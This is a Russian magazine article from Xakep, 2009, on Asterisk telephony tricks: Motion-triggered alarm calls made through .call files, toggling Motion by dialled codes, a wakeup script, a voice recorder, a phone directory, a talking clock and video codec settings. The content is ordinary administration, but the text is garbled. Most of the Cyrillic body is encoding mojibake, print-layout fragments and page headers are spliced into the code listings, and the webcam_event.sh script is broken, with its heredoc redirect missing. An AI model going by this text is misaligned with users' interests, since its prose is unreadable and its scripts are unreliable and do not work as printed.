СИСТЕМА ВИДЕОНАБЛЮДЕНИЯ С ОПОВЕЩЕНИЕМ Îäíà èç ÷àñòî<br />
âîñòðåáîâàííûõ âîçìîæíîñòåé Asterisk — ýòî çàïóñê ïðîãðàìì è ñêðèïòîâ<br />
èç ýêñòåíøåíà (ïðè íàáîðå îïðåäåëåííîãî íîìåðà) èëè âûçîâ àáîíåíòà<br />
èç äðóãîãî (âíåøíåãî) ïðèëîæåíèÿ. Äëÿ óäîáñòâà àäìèíà ðåàëèçîâàíî<br />
íåñêîëüêî ïóòåé, ïîçâîëÿþùèõ èíèöèèðîâàòü èñõîäÿùèé çâîíîê<br />
íà ëåòó:<br />
1. Call-ôàéë — îáû÷íûé òåêñòîâûé ôàéë, èìåþùèé îïðåäåëåííóþ ñòðóêòóðó.<br />
2. API — ïîäêëþ÷èâøèñü ê ïîðòó óïðàâëåíèÿ (ïî óìîë÷àíèþ 5038) ïðè<br />
ïîìîùè telnet, ìîæíî çàäàòü âñå íåîáõîäèìûå êîìàíäû.<br />
3. CLI (command line interface) êîìàíäà — óïðàâëåíèå ñåðâåðîì â êîíñîëè<br />
(âûçûâàåòñÿ ïðè ïîìîùè «asterisk -r»).<br />
4. Èñïîëüçîâàíèå íàñòðîåê ïåðåàäðåñàöèè íà äðóãîé íîìåð — FollowMe.<br />
Íàèáîëåå óäîáåí â ðàáîòå âàðèàíò ñ èñïîëüçîâàíèåì ôàéëà ñ ðàñøèðåíèåì<br />
.call. Äîñòàòî÷íî òàêîìó ôàéëó ïîÿâèòüñÿ â êàòàëîãå /var/spool/<br />
asterisk/outgoing (íàñòðàèâàåòñÿ â asterisk.conf ïðè ïîìîùè astspooldir),<br />
êàê ñåðâåð âûïîëíèò çàäàííûå â íåì êîìàíäû. Call-ôàéë ìîæíî ñãåíåðèðîâàòü<br />
íàëåòó è çàòåì ïðîñòî ñêîïèðîâàòü â äàííûé êàòàëîã. Asterisk<br />
ïðîâåðÿåò âðåìÿ ñîçäàíèÿ ôàéëà; åñëè îíî «â áóäóùåì», òî êîìàíäà âûïîëíèòñÿ,<br />
êîãäà ñèñòåìíîå âðåìÿ è âðåìÿ ìîäèôèêàöèè ñîâïàäóò. Ýòî<br />
òàêæå ìîæíî èñïîëüçîâàòü äëÿ îòëîæåííîãî çàïóñêà êîìàíä â Call-ôàéëå.<br />
Åäèíñòâåííîå óñëîâèå — àêòèâàöèÿ ïàðàìåòðà «autoload=yes» (òàê<br />
ñäåëàíî ïî óìîë÷àíèþ) â modules.conf.  ôàéëå èñïîëüçóþòñÿ èíñòðóêöèè<br />
èç extensions.conf, íî ó íåãî íåñêîëüêî äðóãàÿ ñòðóêòóðà è êîëè÷åñòâî<br />
âîçìîæíûõ êîìàíä â íåì îãðàíè÷åíî. ×òîáû áûëî ïîíÿòíåå, î ÷åì ðå÷ü,<br />
ðàññìîòðèì ñîâìåñòíóþ ðàáîòó Asterisk è ñèñòåìû âèäåîíàáëþäåíèÿ<br />
Motion (www.lavrsen.dk/twiki/bin/view/Motion/WebHome), ñïîñîáíîé<br />
âûïîëíÿòü çàäàííóþ ïðîãðàììó èëè ñêðèïò ïðè îáíàðóæåíèè äâèæåíèÿ.<br />
Òàêîé òàíäåì ìîæåò ïîíàäîáèòüñÿ äëÿ êîíòðîëÿ íàä íåêîòîðûì îáúåêòîì,<br />
ñêàæåì, ñåðâåðîì. Ðîëü Asterisk çäåñü — ãëàâíàÿ: ñ åãî ïîìîùüþ ïðè<br />
âîçíèêíîâåíèè ñîáûòèÿ ìû áóäåì çâîíèòü àäìèíó íà SIP-òåëåôîí (ìîæíî<br />
íà ãîðîäñêîé èëè ñîòîâûé). Ïîëíîñòüþ óñòàíîâêó Motion è íàñòðîéêè<br />
â /etc/motion/motion.conf ðàññìàòðèâàòü íå áóäåì, çà ïîäðîáíîñòÿìè<br />
îáðàùàéñÿ ê ñòàòüå «Ñóìåðå÷íûé äîçîð», îïóáëèêîâàííîé â ìàðòîâñêîì<br />
íîìåðå z çà 2008 ãîä. Îñòàíîâèìñÿ òîëüêî íà ñàìûõ âàæíûõ ìîìåíòàõ:<br />
$ sudo nano /etc/motion/motion.conf<br />
# Âêëþ÷àåì âñòðîåííûé âåá-ñåðâåð, ðàçðåøàåì ê íåìó óäàëåííûé<br />
äîñòóï<br />
webcam_port 8000<br />
webcam_motion on<br />
webcam_localhost off<br />
webcam_quality 30<br />
webcam_maxrate 6<br />
control_authentication username:password<br />
# Ïðè îáíàðóæåíèè äâèæåíèÿ çàïóñêàåì ñêðèïò, êîòîðûé áóäåò<br />
ïîäíèìàòü òðåâîãó, âìåñòî äèðåêòèâû on_motion_detected<br />
ìîæíî èñïîëüçîâàòü on_event_start<br />
on_motion_detected /usr/bin/webcam_event.sh<br />
Ñìîòðèì îòëàäî÷íóþ èíôîðìàöèþ, çàïóñòèâ Motion ñ ôëàãîì '–n':<br />
$ motion –n<br />
Thread is from /etc/motion/motion.conf<br />
Åñëè âñå â ïîðÿäêå, ñòàðòóåì ïðîãðàììó â îáû÷íîì ðåæèìå è ïåðåõîäèì<br />
ê íàïèñàíèþ ñêðèïòà webcam_event.sh:<br />
$ sudo nano /usr/bin/webcam_event.sh<br />
#!/bin/sh<br />
cat /tmp/alarm.call<br />
# Óñòàíàâëèâàåì ïàðàìåòðû êàíàëà è CallerID<br />
XÀÊÅÐ 04 /124/ 09<br />
115
SYN/ACK<br />
Channel: SIP/admin<br />
Callerid: 11111111<br />
# Êîëè÷åñòâî ïîâòîðíûõ ïîïûòîê âûçîâà â ñëó÷àå íåóäà÷è,<br />
íå âêëþ÷àÿ ïåðâóþ (ò.å. â íàøåì ñëó÷àå ïðè âîçíèêíîâåíèè<br />
ïðîáëåì áóäåò ñäåëàíî 3 ïîïûòêè âûçîâà àáîíåíòà)<br />
MaxRetries: 2<br />
# Âðåìÿ äî ïîâòîðíîé ïîïûòêè íàáîðà (ïî óìîë÷àíèþ 300 ñåê)<br />
RetryTime: 30<br />
# Âðåìÿ îæèäàíèÿ îòâåòà (ïî óìîë÷àíèþ 45 ñåê)<br />
WaitTime: 30<br />
# Êîíòåêñò èç extensions.conf è ïðèîðèòåò âûçîâà<br />
Context: alarm<br />
Extension: s<br />
Priority: 1<br />
EOF<br />
# Çàäàåì íóæíûå ïðàâà äëÿ ñîçäàííîãî ôàéëà è ïåðåíîñèì åãî<br />
â íóæíóþ ïàïêó<br />
chown asterisk:asterisk /tmp/alarm.call<br />
mv /tmp/alarm.call /var/spool/asterisk/outgoing/<br />
Âîò ïðàêòè÷åñêè è âñå ïàðàìåòðû, âîçìîæíûå â Call-ôàéëå. Îïöèîíàëüíî<br />
äëÿ óñòàíîâêè âðåìåíè ìîæíî èñïîëüçîâàòü timestamp:<br />
Set: timestamp=20091023104500<br />
Òåïåðü äîáàâëÿåì îïèñàíèå â extension.conf:<br />
$ sudo nano /etc/asterisk/extension.conf<br />
[alarm]<br />
116<br />
exten => s,1,Answer()<br />
exten => s,n,Wait(2)<br />
exten => s,n,Playback(activated)<br />
exten => s,n,Wait(1)<br />
exten => s,n,Hangup()<br />
Ïîñëå âíåñåíèÿ èçìåíåíèé íå çàáûâàåì ïåðå÷èòàòü ïëàí íàáîðà êîìàíäîé<br />
«dialplan reload». Òåïåðü, îáíàðóæèâ äâèæåíèå, Motion çàïóñòèò<br />
âûïîëíÿòüñÿ ñêðèïò webcam_event.sh, êîòîðûé ñîçäàñò /tmp/alarm.call<br />
è ñêîïèðóåò åãî â /var/spool/asterisk/outgoing. Ïîñëå ÷åãî Call-ôàéë áóäåò<br />
îáðàáîòàí Asterisk, è íà íîìåð admin, îïèñàííûé â sip.conf, ïîñòóïèò<br />
çâîíîê ñ CallerID «11111111». Íåìíîãî äîïèëèâ ýòîò ñêðèïò, ìîæíî çàñòàâèòü<br />
Asterisk âûïîëíÿòü è äðóãèå îïåðàöèè, íàïðèìåð, îòïðàâëÿòü e-mail<br />
èëè SMS. Êàê òû ïîíèìàåøü, âìåñòî Motion ïîäîéäåò ëþáàÿ äðóãàÿ ïðîãðàììà,<br />
óìåþùàÿ ñîçäàâàòü èëè êîïèðîâàòü ôàéëû ïðè âîçíèêíîâåíèè<br />
îïðåäåëåííîãî ñîáûòèÿ.<br />
УСЛОЖНЯЯ КОНФИГУРАЦИЮ, УПРОЩАЕМ УПРАВЛЕНИЕ Ðàññìîòðèì<br />
åùå îäíó âîçìîæíîñòü âûïîëíåíèÿ êîìàíä â Asterisk, à çàîäíî<br />
— íåìíîãî äîïîëíèì íàøó ñõåìó. Íàïðèìåð, â ðàáî÷åå âðåìÿ â èñïîëüçîâàíèè<br />
Motion îñîáîãî ñìûñëà íåò, ïîýòîìó åãî ìîæíî ñìåëî îòêëþ÷àòü.<br />
Ýòî ìîæíî ñäåëàòü èç êîíñîëè èëè ïðè ïîìîùè ïëàíèðîâùèêà cron, íî<br />
óäîáíåå äëÿ âêëþ÷åíèÿ/îòêëþ÷åíèÿ ïðîñòî ïîçâîíèòü ïî îïðåäåëåííîìó<br />
íîìåðó. Ñîçäàäèì íåáîëüøîé ñêðèïò, ïðè ïîìîùè êîòîðîãî áóäåì<br />
óïðàâëÿòü äåìîíîì Motion:<br />
$ sudo nano /usr/bin/motion.sh<br />
#!/bin/sh<br />
case $1 in<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK<br />
Редактируем extensions.conf<br />
start)<br />
/usr/bin/motion<br />
;;<br />
stop)<br />
PID='pidof motion'<br />
kill $PID<br />
killall webcam_event.sh<br />
rm -f /var/spool/asterisk/outgoing/<br />
alarm.call<br />
;;<br />
esac<br />
 extension.conf çàíîñèì îïèñàíèÿ íîìåðîâ, êîòîðûå áóäóò èñïîëüçîâàíû<br />
äëÿ çàïóñêà ñêðèïòà ñ ðàçíûìè ïàðàìåòðàìè:<br />
$ sudo nano /etc/asterisk/extension.conf<br />
exten => *001,1,Answer()<br />
exten => *001,n,Playback(activated)<br />
exten => *001,n,System(/usr/bin/motion.sh<br />
start)<br />
exten => *001,n,Hangup()<br />
exten => *002,1,Answer()<br />
exten => *002,n,System(/usr/bin/motion.sh<br />
stop)<br />
exten => *002,n,Playback(de-activated)<br />
exten => *002,n,Hangup()<br />
Òåïåðü, ÷òîáû çàïóñòèòü Motion, äîñòàòî÷íî íàáðàòü íîìåð<br />
*001, à ÷òîáû îñòàíîâèòü — *002.<br />
БУДИЛЬНИК НА ASTERISK Ðåàëèçîâàòü áóäèëüíèê â *nix<br />
ìîæíî äàëåêî íå åäèíñòâåííûì ñïîñîáîì (ñàìûé ïðîñòîé,<br />
íàâåðíîå: «sleep 20m && mpg123 ~/bell.mp3»), íî õî÷åòñÿ<br />
÷åãî-òî êðàñèâîãî è íåñòàíäàðòíîãî. Ïîèñê â èíòåðíåòå ïî<br />
çàïðîñó «asterisk wakeup» âûäàñò íåñêîëüêî ðåøåíèé, íàïèñàííûõ<br />
ñ èñïîëüçîâàíèåì ðàçíûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ<br />
è íåìíîãî îòëè÷àþùèõñÿ êàê ïðîöåññîì óñòàíîâêè, òàê<br />
è âîçìîæíîñòÿìè. Ñàìîå ïîïóëÿðíîå èç íèõ — PHP-ñêðèïò<br />
wakeup.php, àâòîðîì êîòîðîãî ñòàë Àíäè Âûñîöêè (www.<br />
voip-info.org/liberty/view/file/2388). Ñêà÷èâàåì ïî ññûëêå<br />
tar-àðõèâ, ðàñïàêîâûâàåì php-ôàéë â êàòàëîã ñ AGI-ñêðèïòàìè<br />
(Asterisk Gateway Interface — øëþçîâîé èíòåðôåéñ, ïîñðåäñòâîì<br />
êîòîðîãî âíåøíèå ïðîãðàììû ìîãóò óïðàâëÿòü<br />
äèàëïëàíîì Asterisk) è äåëàåì åãî èñïîëíÿåìûì: «chmod<br />
a+x /var/lib/asterisk/agi-bin/wakeup.php» (íóæíûé êàòàëîã<br />
ìîæíî óçíàòü, ïðîñìîòðåâ çíà÷åíèå ïåðåìåííîé astagidir â<br />
êîíôèãå asterisk.conf).<br />
Ñêðèïò wakeup.php ñîäåðæèò ðÿä ïåðåìåííûõ, êîòîðûå íåîáõîäèìî<br />
ïîäïðàâèòü ñ ó÷åòîì íàñòðîåê ñèñòåìû:<br />
XÀÊÅÐ 04 /124/ 09<br />
Видеокодеки, устанавливаемые в Asterisk<br />
; Ðàñïîëîæåíèå èíòåðïðåòàòîðà PHP â ðàçíûõ *nixñèñòåìàõ<br />
ìîæåò îòëè÷àòüñÿ<br />
#!/usr/bin/php -q<br />
; Æóðíàë èç /tmp ëó÷øå óáðàòü<br />
$parm_error_log = '/var/log/asterisk/wakeup.log';<br />
; Ïî óìîë÷àíèþ ñêðèïò ñîçäàåò âðåìåííûå ôàéëû â /<br />
tmp, íî åñëè ýòîò êàòàëîã íàõîäèòñÿ íà îòäåëüíîì<br />
ðàçäåëå, òî wakeup.php îòêàæåòñÿ ðàáîòàòü, ïîýòîìó:<br />
$parm_temp_dir = '/var/spool/asterisk/tmp';<br />
Ïðèíöèï çàïóñêà ñêðèïòà àíàëîãè÷åí ïðèìåðó ñ Motion<br />
— ïðîñòî çàíîñèì â extensions.conf èíôîðìàöèþ î íîâîì<br />
íîìåðå:<br />
exten => *97,1,Answer()<br />
exten => *97,n,AGI(wakeup.php)<br />
exten => *97,n,Hangup()<br />
Òåïåðü äîñòàòî÷íî ïîçâîíèòü íà íîìåð *97 è ïî çàïðîñó ââåñòè<br />
âðåìÿ, êîãäà ñèñòåìà äîëæíà ïðîèçâåñòè îáðàòíûé çâîíîê.<br />
Íàïðèìåð, ÷òîáû çàâåñòè áóäèëüíèê íà 17:55 (ñåãîäíÿ<br />
ôèíàë êóáêà àíãëèéñêîé ëèãè :)), íàáèðàåì «0555», à çàòåì<br />
«2» (1 — äî ïîëóäíÿ, 2 — ïîñëå ïîëóäíÿ).<br />
Åñëè ïðè çàïóñêå ñêðèïòà âîçíèêëè ïðîáëåìû, äîóñòàíîâè<br />
ïàêåòû php5-cli è asterisk-sound-extra è èñïîëüçóé óòèëèòó<br />
fromdos, ÷òîáû ïðèâåñòè wakeup.php ê Unix-ñòàíäàðòàì.<br />
ВИРТУАЛЬНЫЙ ДИКТОФОН Äèñòðèáóòèâíûé êîìïëåêò<br />
Asterisk è ïàêåò äîïîëíåíèé asterisk-sounds ñîäåðæàò îêîëî<br />
1000 ãîëîñîâûõ ñîîáùåíèé íà àíãëèéñêîì ÿçûêå (ãîëîñ ïðèíàäëåæèò<br />
äàìî÷êå ïî èìåíè Allison Smith).  êà÷åñòâå àëüòåðíàòèâû<br />
ìîæíî çàïèñàòü ìåññàäæè íà ðóññêîì/óêðàèíñêîì/ñóàõèëè<br />
ñàìîñòîÿòåëüíî, íî äëÿ ýòîãî íåîáÿçàòåëüíî<br />
ïðèáåãàòü ê àóäèîðåäàêòîðó òèïà Audacity. Íèæåñëåäóþùåå<br />
äîïîëíåíèå â äèàëïëàí îáåñïå÷èò âîçìîæíîñòü çâîíèòü íà<br />
íîìåð *98 è çàïèñûâàòü ñîîáùåíèÿ â ïàïêó /tmp ïîä èìåíàìè<br />
myrecordÍÎÌÅÐ.wav. Ïîñëå çàâåðøåíèÿ çàïèñè (îñóùåñòâëÿåòñÿ<br />
íàæàòèåì #) çâóêîâîé ôàéë áóäåò âîñïðîèçâåäåí,<br />
è ñîåäèíåíèå ðàçîðâåòñÿ. Ïðèìå÷àíèå: ÷òîáû óðîâåíü<br />
ãðîìêîñòè áûë ïîñòîÿííûì, à «áåëûé» øóì, ñîçäàâàåìûé<br />
ñèñòåìàìè îòîïëåíèÿ/îõëàæäåíèÿ/êîíäèöèîíèðîâàíèÿ,<br />
ñâåäåí ê ìèíèìóìó, äëÿ çàïèñè ëó÷øå âîñïîëüçîâàòüñÿ àïïàðàòíûì<br />
VoIP-òåëåôîíîì.<br />
exten => *98,1,Answer()<br />
exten => *98,n,Wait(2)<br />
info<br />
Существует патч<br />
от разработчика с<br />
ником IVeS (смотри<br />
на нашем диске файл<br />
videocodec_nego_fix_<br />
ast-1.4.13.patch.gz), в<br />
котором проблема согласования<br />
кодеков<br />
устранена, но сама<br />
заплатка до сих пор<br />
не принята Digium.<br />
video<br />
В видеоролике мы<br />
разберем некоторые<br />
трюки с Asterisk:<br />
говорящие часы,<br />
будильник, виртуальный<br />
диктофон и телефонный<br />
справочник.<br />
117
ХАКЕР.PRO<br />
SYN/ACK<br />
Список доступных аудио- и видеокодеков<br />
Сегодня доступно две ветки Asterisk: 1.4 и 1.6<br />
Проверяем настройки Motion<br />
exten => *98,n,Record(/tmp/myrecord%d:wav)<br />
exten => *98,n,Wait(1)<br />
exten => *98,n,Playback(${RECORDED_FILE})<br />
exten => *98,n,Wait(1)<br />
exten => *98,n,Hangup()<br />
äèàëïëàíà, â êîòîðîì âûçûâàåòñÿ àáîíåíò:<br />
exten => *99,1,Directory(default,internal)<br />
Ñîçäàåì ïî÷òîâûé ÿùèê â ôàéëå voicemail.conf:<br />
Íå çàáóäü ñêîïèðîâàòü/ïåðåíåñòè ïîëó÷åííûé ôàéë èç âðåìåííîé äèðåêòîðèè<br />
â ïàïêó äëÿ çâóêîâûõ ôàéëîâ Asterisk è íàäåëèòü åãî êàêèìíèáóäü<br />
îñìûñëåííûì èìåíåì, âðîäå privetstvie.wav. Êñòàòè, ãîëîñîâûå<br />
ñîîáùåíèÿ ëó÷øå íå êîíâåðòèðîâàòü â gsm/mp3/ogg, ÷òîáû íà ïðîö íå<br />
ëåãëà äîïîëíèòåëüíàÿ íàãðóçêà ïî ïðåîáðàçîâàíèþ.<br />
ТЕЛЕФОННЫЙ СПРАВОЧНИК Åñëè â êîìïàíèè èñïîëüçóåòñÿ áîëåå<br />
òðåõ äîáàâî÷íûõ íîìåðîâ, áåç òåëåôîííîãî ñïðàâî÷íèêà íå îáîéòèñü.<br />
Ñîòðóäíèêè íà÷èíàþò ïóòàòü öèôðû, çàáûâàòü íîìåðà, íåðâíè÷àòü è<br />
äåð ãàòü ïî ïóñòÿêàì àäìèíà. Áóìàæíûå âàðèàíòû ñïðàâî÷íèêà è ýêñåëåâñêèå<br />
òàáëè÷êè îñòàâèì â ïðîøëîì. Ïðèëîæåíèå Directory(), èñïîëüçóÿ<br />
èìåíà, çàäàííûå â îïèñàíèÿõ ãîëîñîâûõ ïî÷òîâûõ ÿùèêîâ, ïðåäîñòàâëÿåò<br />
òåëåôîííûé ñïðàâî÷íèê àáîíåíòîâ îôèñíîé ÀÒÑ äëÿ íàáîðà<br />
íîìåðîâ ïî èìåíè.  êà÷åñòâå àðãóìåíòîâ äèðåêòèâû íóæíî ïîäñòàâèòü<br />
êîíòåêñò ãîëîñîâîé ïî÷òû, èç êîòîðîãî ñ÷èòûâàþòñÿ èìåíà, è êîíòåêñò<br />
118<br />
[default]<br />
401 => 1234,Andrey Matveev,andrushock@real.xakep.ru<br />
Íà êëàâèàòóðå ñîôòîôîíà íàáèðàåì *99, çàòåì ïåðâûå òðè áóêâû ôàìèëèè<br />
ïîëüçîâàòåëÿ, íîìåð êîòîðîãî ìû õîòèì óçíàòü (â äàííîì ñëó÷àå —<br />
«mat»). Allison Smith íà÷íåò ïî áóêâàì «çà÷èòûâàòü» èç voicemail.conf èìÿ<br />
è ôàìèëèþ íàéäåííîãî àáîíåíòà: «a-n-d-r-e-y m-a-t-v-e-e-v». Ïîäòâåðæäàåì<br />
ïðàâèëüíîñòü âûáîðà íàæàòèåì «1». Âèðòóàëüíûé îïåðàòîð ïðîãîâîðèò<br />
äîáàâî÷íûé íîìåð 401 (åñëè â äèàëïëàíå èñïîëüçóåòñÿ êîíñòðóêöèÿ<br />
âèäà «exten => _XXX,1,SayDigits(${EXTEN})») è ïðîèçâåäåò ñîåäèíåíèå.<br />
Î÷åíü óäîáíî!<br />
КОТОРЫЙ ЧАС? Îêàçûâàåòñÿ, ñëóæáà òî÷íîãî âðåìåíè — íåâåðîÿòíî<br />
ïîïóëÿðíûé ñåðâèñ: ñóäÿ ïî ìàòåðèàëó èç Âèêèïåäèè, åæåäíåâíî ïî<br />
íîìåðó 100 çâîíÿò îêîëî ìèëëèîíà ìîñêâè÷åé. Ìîæåò áûòü, ïîéäåì íà-<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK ХАКЕР.PRO<br />
âñòðå÷ó ÌÃÒÑ (èëè òâîåé ãîðîäñêîé òåëåôîííîé ñòàíöèè)<br />
è ÷óòî÷êó ðàçãðóçèì èõ îáîðóäîâàíèå çà ñ÷åò ñîçäàíèÿ ñâîèõ<br />
«ãîâîðÿùèõ ÷àñîâ»?  ýòîì íàì ïîìîæåò ïðèëîæåíèå<br />
SayUnixTime(), ïðîãîâàðèâàþùåå óêàçàííîå âðåìÿ â îïðåäåëåííîì<br />
ôîðìàòå:<br />
exten => *100,1,Answer()<br />
exten => *100,n,SayUnixTime(,,QdhAR)<br />
exten => *100,n,WaitMusicOnHold(10)<br />
exten => *100,n,Goto(*100,1)<br />
Íàáèðàåì *100, Allison Smith ïðèâåòëèâî ñîîáùàåò î òîì,<br />
÷òî ñåé÷àñ 1 ìàðòà, âîñêðåñåíüå, 14 ÷àñîâ è 50 ìèíóò. Çàòåì<br />
âîñïðîèçâîäèòñÿ 10-ñåêóíäíàÿ ìóçûêàëüíàÿ ïàóçà (ïóòü<br />
ê ïàïêå ñ ìóçîíîì çàäàåòñÿ ïàðàìåòðîì directory â ôàéëå<br />
musiconhold.conf), è âûçîâ íîìåðà ïîâòîðÿåòñÿ (íà òîò ñëó-<br />
÷àé, åñëè ìû ÷òî-òî íå ðàññëûøàëè).<br />
БУДУЩЕЕ ТЕЛЕФОНИИ ЗА ВИДЕОЗВОНКАМИ<br />
Èçíà÷àëüíî âîïðîñ î ïîääåðæêå âèäåîñâÿçè ïåðåä ðàçðàáîò-<br />
÷èêàìè íå ñòàâèëñÿ, îäíàêî ñåãîäíÿ íåîáõîäèìîñòü â òàêîé<br />
ôóíêöèîíàëüíîñòè î÷åâèäíà. Êðîìå òîãî, âû÷èñëèòåëüíûå VoIP-софтофон Ekiga умеет работать с видео<br />
ìîùíîñòè ìíîãîêðàòíî âîçðîñëè, òðàôèê ïîäåøåâåë, à ïðîïóñêíàÿ<br />
ñïîñîáíîñòü êàíàëîâ ïîçâîëÿåò ãîíÿòü âèäåîïîòîê õîðîøåãî<br />
êà÷åñòâà. Òàê èëè èíà÷å, íî ïîääåðæêà âèäåî â Asterisk allow=h264<br />
allow=ilbc<br />
1.4 íàõîäèòñÿ â çà÷àòî÷íîì ñîñòîÿíèè (ïëîõîå ñîãëàñîâàíèå allow=h261<br />
êîäåêîâ, íå ðàñïîçíàþòñÿ ðàñøèðåííûå àòðèáóòû äëÿ âèäåîïîòîêîâ,<br />
íå ïîääåðæèâàþòñÿ ïîïóëÿðíûå âèäåîôîðìàòû, íåò<br />
âîçìîæíîñòè ïåðåêîäèðîâêè è ò.ä.). ×àñòü ïåðå÷èñëåííîãî,<br />
âåðîÿòíî, òàê íèêîãäà è íå ïîÿâèòñÿ â Asterisk, â òîì ÷èñëå, èççà<br />
âîçìîæíûõ ïðîáëåì ñ ëèöåíçèðîâàíèåì. Íàïðèìåð, ðàçðàáîò÷èêè<br />
íå ìîãóò èñïîëüçîâàòü áèáëèîòåêó ffmpeg, õîòÿ ñåãîäíÿ<br />
óæå äîñòóïíî ïðèëîæåíèå app_transcoder (sip.fontventa.<br />
com/content/view/30/57), ðàáîòàþùåå ñ ffmpeg è èìåþùåå<br />
îãðàíè÷åííûå ôóíêöèè, ñâÿçàííûå ñ ïåðåêîäèðîâàíèåì. Â<br />
íîâîé âåðñèè 1.6 ïëàíèðîâàëèñü íåêîòîðûå ïîäâèæêè â ýòîì<br />
íàïðàâëåíèè, â ÷àñòíîñòè, ïîëíàÿ ïåðåñòðîéêà ïîääåðæêè âèäåî<br />
â êàíàëàõ (òàê íàçûâàþòñÿ ñîåäèíåíèÿ â Asterisk), íî ïîêà tos_video=af41<br />
äàëüøå èäåé äåëî íå ïîøëî.<br />
Èç âñåãî ìíîæåñòâà êàíàëîâ ïåðåäà÷à âèäåî ðåàëèçîâàíà<br />
òîëüêî â äâóõ — SIP è IAX2. Íåêîòîðûå ïîïóëÿðíûå ðåàëèçàöèè<br />
(chan_h323, chan_oh323, chan_ooh323) ñòàðîãî äîáðîãî<br />
H.323 íå îáåñïå÷èâàþò òàêîé âîçìîæíîñòè, õîòÿ â ñàìîì tos=0x18<br />
ñòàíäàðòå H.323 ýòî ïðåäóñìîòðåíî. Òàê, ÷òîáû ðàçðåøèòü<br />
ñîâåðøàòü âûçîâû ñ ïîääåðæêîé âèäåî, äîñòàòî÷íî äîáàâèòü<br />
â ôàéë sip.conf ïàðàìåòð:<br />
[general]<br />
videosupport=yes<br />
 IAX ýòà âîçìîæíîñòü çàëîæåíà èçíà÷àëüíî, ïîýòîìó ïàðàìåòð<br />
videosupport â ôàéëå iax.conf íå ïîääåðæèâàåòñÿ.<br />
Ñïèñîê âèäåîêîäåêîâ, óìåþùèõ ðàáîòàòü ñ âèäåî, íåâåëèê:<br />
H.261 (òîëüêî òðàíçèò), H.263, H.263p è H.264 (ïîñëåäíèå<br />
äâà ñ Asterisk âåðñèè 1.4). Íî òàê êàê Asterisk 1.4 èìååò ïðîáëåìû<br />
ñ ñîãëàñîâàíèåì êîäåêîâ, àêòèâèðîâàòü èõ âñå îäíîâðåìåííî<br />
íå ñëåäóåò. Ëó÷øå ïîäîáðàòü íàèáîëåå îïòèìàëüíûé<br />
äëÿ êîíêðåòíîé ñèòóàöèè, îòêëþ÷èâ îñòàëüíûå ïðè ïîìîùè<br />
«disallow=all». Íî íå çàáûâàé, ÷òî âûáðàííûé êîäåê äîëæåí<br />
ïîääåðæèâàòüñÿ è êëèåíòîì.<br />
disallow=all<br />
allow=alaw<br />
allow=gsm<br />
allow=speex<br />
Ïî óìîë÷àíèþ ìàêñèìàëüíûé áèòðåéò äëÿ âèäåî óñòàíîâëåí<br />
â 384 Êá/ñ, — åãî ìîæíî èçìåíèòü ïðè ïîìîùè äèðåêòèâû<br />
maxcallbitrate.<br />
Íåëüçÿ íå îòìåòèòü, ÷òî Asterisk óìååò çàäàâàòü áèòû TOS<br />
(Type of Service) â çàãîëîâêå IP-ïàêåòà, ÷òîáû óñêîðèòü ïåðåäà÷ó<br />
ïîòîêà äàííûõ ÷åðåç ìàðøðóòèçàòîðû, êîòîðûå ó÷èòûâàþò<br />
áèòû TOS ïðè îïðåäåëåíèè ìàðøðóòîâ. Â sip.conf äèðåêòèâû<br />
tos_sip, tos_audio è tos_video óïðàâëÿþò TOS-áèòàìè<br />
äëÿ SIP-ñîîáùåíèé, àóäèî- è âèäåîäàííûõ ñîîòâåòñòâåííî.<br />
 iax.conf âñå ïîëÿ TOS óñòàíàâëèâàþòñÿ ïðè ïîìîùè îäíîãî<br />
ïàðàìåòðà:<br />
 íàñòîÿùåå âðåìÿ ïåðåäà÷ó âèäåî ïîääåðæèâàåò îãðîìíîå êîëè÷åñòâî<br />
ñîôò-êëèåíòîâ: Ekiga, Bria, X-lite, Linphone, Milliphone,<br />
WengoPhone, Windows Messenger è íåêîòîðûå äðóãèå.<br />
ВМЕСТО ЗАКЛЮЧЕНИЯ<br />
×òî åùå ìîæíî ñäåëàòü ñ ïîìîùüþ Asterisk? Íàïðèìåð,<br />
ðàñøèðèòü ôóíêöèè óñòàðåâøåé êîììóòèðóåìîé ÀÒÑ, ñîçäàòü<br />
èíòåðàêòèâíûé àâòîîòâåò÷èê (ýòî ìîæåò áûòü ïðîãíîç ïîãîäû<br />
äëÿ ëþáîé òî÷êè çåìíîãî øàðà, îáó÷àþùàÿ ïðîãðàììà èëè<br />
àóäèîèãðà — îòâåòû ìîæíî ââîäèòü ïîñðåäñòâîì íîìåðîíàáèðàòåëÿ<br />
òåëåôîíà), îðãàíèçîâàòü àóäèîêîíôåðåíö-çàëû, ÷èòàòü<br />
ýëåêòðîííóþ ïî÷òó âñëóõ, êîãäà òû, íàïðèìåð, â äîðîãå èëè ïðèíèìàåøü<br />
âàííó (ñâÿçêà Asterisk + Festival), óïðàâëÿòü ñèñòåìîé<br />
ñèãíàëèçàöèè, êîíòðîëèðîâàòü íÿíþ è äåòåé (äîïóñòèì, ìàòü è<br />
îòåö, ñèäÿ íà ðàáîòå, ïîäêëþ÷àþòñÿ VPN-êëèåíòîì ê äîìàøíåìó<br />
ñåðâåðó, çâîíÿò â êîíòåêñò äîáàâî÷íîãî íîìåðà, çàùèùåííîãî<br />
ïàðîëåì, ïîñëå óñïåøíîé àóòåíòèôèêàöèè óñòàíàâëèâàåòñÿ<br />
àóäèîñâÿçü ñî âñåìè IP-òåëåôîíàìè â êâàðòèðå — ýòî ïîçâîëèò<br />
ðîäèòåëÿì ñëûøàòü, ÷òî ïðîèñõîäèò â êàæäîé êîìíàòå, — ñâîåîáðàçíûå<br />
VoIP-æó÷êè). Ïðîÿâè òâîð÷åñêèå ñïîñîáíîñòè, çàìóòè<br />
÷òî-íèáóäü ýêñòðàîðäèíàðíîå è íàïèøè íàì :). z<br />
links<br />
• Все возможности<br />
по инициированию<br />
исходящего звонка<br />
в Asterisk ты найдешь<br />
в документе «Asterisk<br />
auto-dial out» —<br />
www.voip-info.org/<br />
wiki-Asterisk+autodial+out.<br />
• Описание всех<br />
известных проблем,<br />
связанных с передачей<br />
видео, можно<br />
найти в списке рассылки<br />
Asterisk-Video<br />
(lists.digium.com/<br />
pipermail/asteriskvideo).<br />
XÀÊÅÐ 04 /124/ 09<br />
119
units<br />
АЛЕКСАНДР ЛОЗОВСКИЙ<br />
/ LOZOVSKY@GAMELAND.RU /<br />
PSYCHO:<br />
